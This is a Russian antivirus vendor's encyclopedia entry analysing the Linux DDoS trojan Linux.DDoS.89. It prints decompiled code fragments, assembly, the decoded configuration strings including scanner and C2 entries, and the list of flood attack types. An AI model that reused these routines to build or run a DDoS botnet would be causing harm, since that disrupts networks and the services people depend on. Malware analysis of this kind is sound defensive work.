Поддержка
Круглосуточная поддержка

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Linux.DDoS.89

Добавлен в вирусную базу Dr.Web: 2016-08-08

Описание добавлено:

SHA1:

  • 846b2d1b091704bb5a90a1752cafe5545588caa6

Модифицированная версия троянца Linux.DDoS.87. Использует схожий способ заполнения структуры с обработчиками команд:

v0->number_ = 0;
v0->func = cmd0;
v2 = (cmd **)realloc(malware_conf.entries, 4 * malware_conf.size + 4);
v3 = malware_conf.size + 1;
malware_conf.entries = v2;
v2[malware_conf.size] = v1;
malware_conf.size = v3;
v4 = (cmd *)calloc(1u, 8u);
v5 = v4;
v4->number_ = 1;
v4->func = cmd1;

Был переработан вид используемых структур: некоторые поля поменялись местами. Также изменился способ заполнения и хранения конфигурации: в этой версии троянца память для ее записи не переаллоцируется, вместо этого используется статически выделенная область памяти. Перед использованием хранящегося в памяти конкретного значения конфигурации вызывается функция decode, которая расшифровывает значение с использованием операции XOR. После использования эта функция вызывается повторно для кодирования значения в памяти. Как и в предыдущей версии, значения полей получаются по номеру, но теперь он совпадает с их положением в массиве. Формат присылаемых команд не изменился. Идентичен и способ запуска обработчика команды (с учетом изменения способа хранения обработчиков).

Запуск обработчика команды в Linux.DDoS.87:

char __cdecl run_command(__time_t time, char number, unsigned __int8 target_count, target_parsed *targets, unsigned __int8 params_count, param2 *params)
{
  signed int v6; // eax@1
  int v7; // esi@2
  unsigned __int8 v8; // dl@3
  int v9; // ebx@12
  int status; // [esp+28h] [ebp-14h]@8
  LOBYTE(v6) = number;
  if ( handlers.length )
  {
    v7 = 0;
    if ( number == handlers.handlers->number )
    {
handler_found:
      v6 = __libc_fork();
      if ( v6 <= 0 )
      {
        if ( !v6 )
        {
          v6 = __libc_fork();
          if ( v6 > 0 )
            __GI_exit(0);
          if ( !v6 )
          {
            v6 = __libc_fork();
            v9 = v6;
            if ( !v6 )
            {
              __GI_setsid();
              init_random();
              handlers.handlers[v7].func(target_count, targets, params_count, params);
              __GI_exit(0);
            }
            if ( v6 > 0 )
            {
              __GI_setsid();
              sleep(time);
              __GI_kill(v9, 9);
              __GI_exit(0);
            }
          }
        }
      }
      else
      {
        LOBYTE(v6) = __libc_waitpid(v6, &status, 0);
      }
    }
    else
    {
      v8 = 0;
      while ( ++v8 != handlers.length )
      {
        v7 = v8;
        LOBYTE(v6) = number;
        if ( handlers.handlers[v7].number == number )
          goto handler_found;
      }
    }
  }
  return v6;
}

Запуск обработчика команды в Linux.DDoS.89:

void __cdecl sub_8048200(int a1, char a2, unsigned __int8 a3, target_parsed *a4, unsigned __int8 a5, param2 *a6)
{
  int v6; // eax@1
  int v7; // eax@4
  int v8; // eax@7
  cmd *v9; // edx@7
  int v10; // eax@12
  v6 = __libc_fork();
  if ( v6 != -1 && v6 <= 0 )
  {
    v7 = __libc_fork();
    if ( v7 == -1 )
      __GI_exit(0);
    if ( !v7 )
    {
      __GI_sleep(a1);
      v10 = getppid();
      __GI_kill(v10, 9);
      __GI_exit(0);
    }
    if ( (signed int)malware_conf.size > 0 )
    {
      v8 = 0;
      v9 = *malware_conf.entries;
      if ( a2 == (*malware_conf.entries)->number_ )
      {
LABEL_10:
        v9->func(a3, a4, a5, a6);
      }
      else
      {
        while ( ++v8 != malware_conf.size )
        {
          v9 = malware_conf.entries[v8];
          if ( v9->number_ == a2 )
            goto LABEL_10;
        }
      }
    }
  }
}

Основные отличия от Linux.DDoS.87

Изменился генератор псевдослучайной последовательности. Также изменился порядок действий при старте троянца. В первую очередь выполняется работа с сигналами, при этом игнорируется SIGINT:

__GI_sigemptyset(&v43);
__GI_sigaddset(&v43, SIGINT);
__GI_sigprocmask(SIG_BLOCK, &v43, 0)

Затем устанавливаются обработчики других сигналов:

__bsd_signal(SIGCHLD, SIGEV_NONE);
  __bsd_signal(SIGTRAP, change_host);
 
//change_host:
void __cdecl change_host()
{
  decode(4u);
  decode(5u);
  cnc.sin_addr.s_addr = *(_DWORD *)get_config_entry(4, 0);
  cnc.sin_port = *(_WORD *)get_config_entry(5, 0);
  encode(4u);
  encode(5u);
}

Затем процесс получает IP-адрес используемого для выхода в Интернет сетевого интерфейса путем соединения с DNS-сервером Google (Linux.DDoS.87 получал этот адрес, соединяясь с собственным управляющим сервером):

int getMyIp()
{
  int v0; // esi@1
  int result; // eax@1
  __int16 v2; // [esp+20h] [ebp-1Ch]@2
  __int16 v3; // [esp+22h] [ebp-1Ah]@2
  int v4; // [esp+24h] [ebp-18h]@2
  int v5; // [esp+30h] [ebp-Ch]@1
  v5 = 16;
  v0 = __GI_socket(2, 2, 0);
  result = 0;
  if ( v0 != -1 )
  {
    v2 = 2;
    v4 = 0x8080808;
    v3 = 0x3500;
    __libc_connect(v0, &v2, 16);
    __GI_getsockname(v0, &v2, &v5);
    __libc_close(v0);
    result = v4;
  }
  return result;
}

После этого запускается локальный сервер:

int start_server()
{
  int result; // eax@1
  struct flock *v1; // eax@2
  char v2; // ST1C_1@2
  unsigned __int32 v3; // eax@2
  _DWORD *v4; // ebx@4
  char v5; // [esp+Ch] [ebp-30h]@0
  sockaddr_in v6; // [esp+20h] [ebp-1Ch]@4
  int v7; // [esp+30h] [ebp-Ch]@1
  v7 = 1;
  result = __GI_socket(2, 1, 0);
  server_socket = result;
  if ( result != -1 )
  {
    __GI_setsockopt(result, 1, 2, &v7, 4);
    v1 = (struct flock *)__GI___libc_fcntl(server_socket, 3, 0, v5);
    BYTE1(v1) |= 8u;
    __GI___libc_fcntl(server_socket, 4, v1, v2);
    v3 = 0x100007F;
    if ( !can_bind )
      v3 = selfaddr;
    v6.sin_family = 2;
    v6.sin_addr.s_addr = v3;
    v6.sin_port = 0xE5BBu; //48101
    v4 = getLastError();
    *v4 = 0;
    if ( __GI_bind(server_socket, &v6, 16) == -1 )
    {
      if ( *v4 == EADDRNOTAVAIL )
        can_bind = 0;
      v6.sin_family = 2;
      v6.sin_addr.s_addr = 0;
      v6.sin_port = 0xE5BBu; //48101
      __libc_connect(server_socket, &v6, 16); //connect to socket
      __GI_sleep(5);
      __libc_close(server_socket);
      result = start_server();
    }
    else
    {
      result = __GI_listen(server_socket, 1);
    }
  }
  return result;
}

Если троянцу не удается использовать системный вызов bind, он соединяется с соответствующим портом, так как предполагается, что порт занят другим ранее запущенным процессом Linux.DDoS.89. В таком случае ранее запущенный процесс завершит свое выполнение. После запуска сервера заполняется структура sockaddr_in, в которую записывается хранящийся в исполняемом файле адрес управляющего сервера:

.text:0804BBEF                 mov     ds:cnc.sin_family, 2
.text:0804BBF8                 add     esp, 10h
.text:0804BBFB                 mov     ds:cnc.sin_addr.s_addr, XXXXXXXXh
.text:0804BC05                 mov     ds:cnc.sin_port, 5000h

Затем от имени процесса вычисляется следующая функция:

def check(name):
    print name
    a = [ord(x) for x in name]
    sum = (0 - 0x51) & 0xff
    for i in [2,4,6,8,10,12]:
        z =  (~a[i % len(a)] & 0xff)
        sum = (sum + z)&0xff
    return sum % 9 

Возвращаемый результат этой функции служит индексом в массиве функций. Функция с соответствующим индексом будет выполнена. Список функций имеет следующий вид:

.rodata:080510A0 off_80510A0     dd offset start_server  ; DATA XREF: main+4Do
.rodata:080510A4                 dd offset decode
.rodata:080510A8                 dd offset get_config_entry
.rodata:080510AC                 dd offset fill_config
.rodata:080510B0                 dd offset encode
.rodata:080510B4                 dd offset memncpy
.rodata:080510B8                 dd offset strcmp
.rodata:080510BC                 dd offset runkiller
.rodata:080510C0                 dd offset change_host

После этого проверяется имя текущего процесса. Если оно совпадает с "./dvrHelper", то генерируется сигнал SIGTRAP, который приведет к смене управляющего сервера.

Заполнение конфигурации осуществляется следующим образом:

v2 = (char *)malloc(0xFu);
memcpy(v2, (char *)&unk_8051259, 15);
conf_entries[3].data = v2;
conf_entries[3].length = 15;
v3 = (char *)malloc(4u);
memcpy(v3, "'ь+B", 4);
conf_entries[4].data = v3;
conf_entries[4].length = 4;
v4 = (char *)malloc(2u);
memcpy(v4, "\"5", 2);
conf_entries[5].data = v4;
conf_entries[5].length = 2;
v5 = (char *)malloc(7u);

Конфигурация для данного образца выглядит следующим образом:

НомерРаскодированное значениеНазначение
1"DROPOUTJEEP"
2"wiretap -report='tcp://65.222.202.53:80'" эта строка присваивается в качестве имени троянца и отображается в списке процессов
3"listening tun0"выводит на stdin при запуске
4<ip-addres>адрес управляющего сервера
5<port>порт управляющего сервера
6"/proc/"runkiller
7"/exe"runkiller
8"REPORT %s:%s"runkiller
9"HTTPFLOOD"runkiller
10"LOLNOGTFO"runkiller
11"\x58\x4D\x4E\x4E\x43\x50\x46\x22"runkiller
12"zollard"runkiller
13"GETLOCALIP"unused
14<host>scanner IP-адреса хоста, на который отправляется информация о зараженных устройствах
15<port>scanner порта хоста, на который отправляется информация о зараженных устройствах
16"shell"scanner
17"enable"scanner
18"sh"scanner
19"/bin/busybox MIRAI"scanner
20"MIRAI: applet not found"scanner
21"ncorrect"scanner
22"TSource Engine Query"cmd1
23"/etc/resolv.conf"cmd2
24"nameserver"cmd2

После заполнения конфигурации имя процесса изменяется на conf[2], а с помощью функции prctl имя процесса меняется на значение conf[1].

Затем осуществляется вывод в стандартный поток stdin conf[3]:

.text:0804BE05                 lea     eax, [esp+1224h+len]
.text:0804BE0C                 push    eax
.text:0804BE0D                 push    3
.text:0804BE0F                 call    get_config_entry
.text:0804BE14                 add     esp, 0Ch
.text:0804BE17                 mov     edi, [esp+1220h+len]
.text:0804BE1E                 push    edi             ; len
.text:0804BE1F                 push    eax             ; addr
.text:0804BE20                 push    1               ; fd
.text:0804BE22                 call    ___libc_write
.text:0804BE27                 add     esp, 0Ch
.text:0804BE2A                 push    1               ; len
.text:0804BE2C                 push    offset newline_2 ; addr
.text:0804BE31                 push    1               ; fd
.text:0804BE33                 call    ___libc_write

Далее происходит создание дочерних процессов и вызов следующих функций:

.text:0804BEBF                 call    init_consts__
.text:0804BEC4                 call    fill_handlers
.text:0804BEC9                 call    run_scanner
.text:0804BECE                 pop     esi
.text:0804BECF                 mov     edx, [esp+1228h+var_1210]
.text:0804BED3                 mov     ebx, [edx]
.text:0804BED5                 push    ebx
.text:0804BED6                 call    runkiller

Функция runkiller в этой версии троянца не проверяет наличие файлов в директории процесса: для проверки используется PID. Процесс не будет завершен, если его PID совпадает с текущим или с родительским.

Изменениям подвергся также механизм работы с сетью. Вместо блокирующих сокетов троянец использует системный вызов select, который также обрабатывает и серверный сокет. При любом подключении к серверному сокету завершаются все дочерние процессы, запускается новый процесс-сканер и завершается текущий процесс:

.text:0804C1E5 socket_server_ready:                    ; CODE XREF: main+53Ej
.text:0804C1E5                 mov     [esp+121Ch+optval], 10h
.text:0804C1F0                 lea     eax, [esp+121Ch+var_48]
.text:0804C1F7                 push    edi
.text:0804C1F8                 lea     edx, [esp+1220h+optval]
.text:0804C1FF                 push    edx
.text:0804C200                 push    eax
.text:0804C201                 push    ecx
.text:0804C202                 call    ___libc_accept
.text:0804C207                 call    kill_scanner
.text:0804C20C                 call    kill_killer
.text:0804C211                 call    spawn_new_scanner
.text:0804C216                 pop     ebx
.text:0804C217                 pop     esi
.text:0804C218                 push    9               ; sig
.text:0804C21A                 neg     [esp+1228h+var_120C]
.text:0804C21E                 mov     ecx, [esp+1228h+var_120C]
.text:0804C222                 push    ecx             ; int
.text:0804C223                 call    ___GI_kill
.text:0804C228                 mov     [esp+122Ch+fd], 0 ; status
.text:0804C22F                 call    ___GI_exit
Также на управляющий сервер теперь не отсылается MAC-адрес сетевого адаптера, а команды из сети принимаются по одной. Функция run_scanner, позаимствованная у троянцев семейства Linux.BackDoor.Fgt и предназначенная для поиска в сети уязвимых устройств, была немного изменена. Так, адрес сервера, на который отсылается информация об уязвимых устройствах, извлекается в этой версии троянца из конфигурации. Из списка выполняемых типов атак исчез HTTP flood, сами команды были переупорядочены:
НомерТип
0UPD random
1TSource
2DNS flood
3TCP flood 2 options
4TCP flood random data
5TCP flood
6UDP over GRE
7TEB over GRE

В исследованном образце вирусописатели попытались реализовать атаку DNS amplification: теперь адрес DNS-сервера извлекается либо из файла resolv.conf, либо из списка публичных DNS-серверов, зашитых в тело троянца.

Новость об угрозе

Рекомендации по лечению


Linux

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Демо бесплатно

На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

Скачать Dr.Web

По серийному номеру